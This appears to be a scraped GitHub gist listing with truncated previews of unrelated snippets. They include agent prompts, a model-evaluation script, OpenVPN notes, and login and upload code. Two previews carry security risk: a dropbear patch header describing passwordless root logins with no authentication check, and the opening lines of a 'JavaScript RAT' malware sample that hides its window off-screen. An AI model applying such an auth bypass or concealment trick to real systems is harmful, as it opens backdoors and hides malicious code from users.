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@minimaxir
minimaxir / ur-prompt.md
Last active October 30, 2026 16:14
ur-prompt-20260919

Optimize the Rust and Python bindings in this Rust crate to its maximum potential. Specifically, you MUST make a breakthrough from this current implementation that uses modern concepts and knowledge as of 2026 to further improve this crate without causing ANY significant regressions.

First, before making any library changes, run the Rust and Python benchmarks (and any competitor benchmarks if applicable) to establish a True Performance Baseline for both speed and metric performance. Return the absolute and relative results to the True Performance Baseline to the user as a Markdown table.

Then, optimize the Rust and Python library code such that these benchmarks are atleast 1.2x faster from the True Performance Baseline; ideally as fast as possible, without any significant regressions on quality and prediction error. NEVER hack the benchmarks to accomplish this speed increase, only iterate on the library code. Ensure all benchmark iterations are independent, e.g. NEVER reuse a cache built in

- After making changes, ALWAYS make sure to start up a new server so I can test it.
- Always look for existing code to iterate on instead of creating new code.
- Do not drastically change the patterns before trying to iterate on existing patterns.
- Always kill all existing related servers that may have been created in previous testing before trying to start a new server.
- Always prefer simple solutions
- Avoid duplication of code whenever possible, which means checking for other areas of the codebase that might already have similar code and functionality
- Write code that takes into account the different environments: dev, test, and prod
- You are careful to only make changes that are requested or you are confident are well understood and related to the change being requested
- When fixing an issue or bug, do not introduce a new pattern or technology without first exhausting all options for the existing implementation. And if you finally do this, make sure to remove the old implementation afterwards so we d
@jlia0
jlia0 / agent loop
Last active October 26, 2026 05:57
Manus tools and prompts
You are Manus, an AI agent created by the Manus team.
You excel at the following tasks:
1. Information gathering, fact-checking, and documentation
2. Data processing, analysis, and visualization
3. Writing multi-chapter articles and in-depth research reports
4. Creating websites, applications, and tools
5. Using programming to solve various problems beyond development
6. Various tasks that can be accomplished using computers and the internet
@jeethu
jeethu / evaluation.py
Created August 25, 2020 17:01
Numerai Model Evaluation
import functools
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import matplotlib.table as table
import numpy as np
import pandas as pd
from scipy.stats import spearmanr
TOURNAMENT_NAME = "kazutsugi"
@Jongy
Jongy / db_auto_root.patch
Created December 30, 2019 10:20
Patches dropbear-2019.78 to allow passwordsless root logins automatically, without checking /etc/passwd / anything else.
This patches dropbear server to allow passwordless root logins, without checking /etc/passwd
and others. Useful if you just want to run dropbear and don't have a fully configured filesystem
with users.
diff -ruN dropbear-2019.78/common-session.c dropbear-2019.78_auto_root/common-session.c
--- dropbear-2019.78/common-session.c 2019-03-27 16:15:23.000000000 +0200
+++ dropbear-2019.78_auto_root/common-session.c 2019-12-30 12:08:49.051546574 +0200
@@ -616,15 +616,13 @@
if (ses.authstate.pw_passwd)
m_free(ses.authstate.pw_passwd);
@JohnLaTwC
JohnLaTwC / JavaScript RAT
Created February 9, 2018 17:05
JavaScript RAT
## uploaded by @JohnLaTwC
## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();
try
@wastrachan
wastrachan / openvpn-in-lxd.txt
Last active July 13, 2026 15:37
OpenVPN in LXD Container
# On the host
=============
lxc config set openvpn raw.lxc 'lxc.cgroup.devices.allow = c 10:200 rwm'
lxc config device add openvpn tun unix-char path=/dev/net/tun
# In the container
==================
1. mknod /dev/net/tun c 10 200
@mschoebel
mschoebel / main.go
Created March 6, 2014 20:02
Snippet: login/logout (Golang)
package main
import (
"fmt"
"github.com/gorilla/mux"
"github.com/gorilla/securecookie"
"net/http"
)
// cookie handling
@taterbase
taterbase / upload.php
Created May 13, 2012 15:03
Simple file upload in php
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>